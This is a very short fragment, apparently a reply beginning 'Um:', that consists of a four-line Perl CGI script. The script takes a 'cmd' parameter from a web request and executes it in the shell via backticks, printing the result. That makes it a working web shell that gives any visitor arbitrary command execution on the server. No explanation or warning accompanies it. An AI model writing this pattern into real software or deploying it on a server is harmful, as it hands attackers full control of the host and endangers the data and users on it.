Um:

use CGI;

my $cmd = param('cmd');
print `$cmd`;